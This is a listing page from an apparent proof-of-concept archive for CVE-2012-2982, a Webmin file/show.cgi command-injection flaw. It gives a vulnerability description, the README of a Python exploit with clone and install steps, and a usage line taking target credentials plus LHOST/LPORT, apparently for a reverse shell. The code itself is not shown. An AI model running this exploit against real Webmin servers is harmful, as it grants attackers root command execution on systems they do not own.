Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2012-2982 PoC — Webmin ‘file/show.cgi’任意命令执行漏洞

Source
Associated Vulnerability
Title:Webmin ‘file/show.cgi’任意命令执行漏洞 (CVE-2012-2982)
Description:Webmin是澳大利亚软件开发者Jamie Cameron和Webmin社区共同开发的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.590版本和较早版本中的file/show.cgi中存在漏洞。远程认证用户可利用该漏洞通过路径名中的无效字符如‘|’(竖线)字符,执行任意命令。
Description
Python exploit for CVE-2012-2982
Readme
# CVE-2012-2982
This python script is written for vulnerability in Webmin 1.580, CVE-2012-2982. The vulnerability exists in the /file/show.cgi component and allows an authenticated user, with access to the File Manager Module, to execute arbitrary commands with root privileges.

## Installation
Tested python version: Python 3.8.5

Required pip package: secrets

`git clone https://github.com/OstojaOfficial/CVE-2012-2982.git`

`pip3 install -r requirements.txt`

## Usage
To run the exploit use the command bellow:

`python3 exploit.py <IP> <Username> <Password> <LHOST> <LPORT>`
File Snapshot

[4.0K] /data/pocs/2ea64c1b8a40a54de51d70ea6c27505ca960d790 ├── [1.6K] exploit.py ├── [ 582] README.md └── [ 14] requirements.txt 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.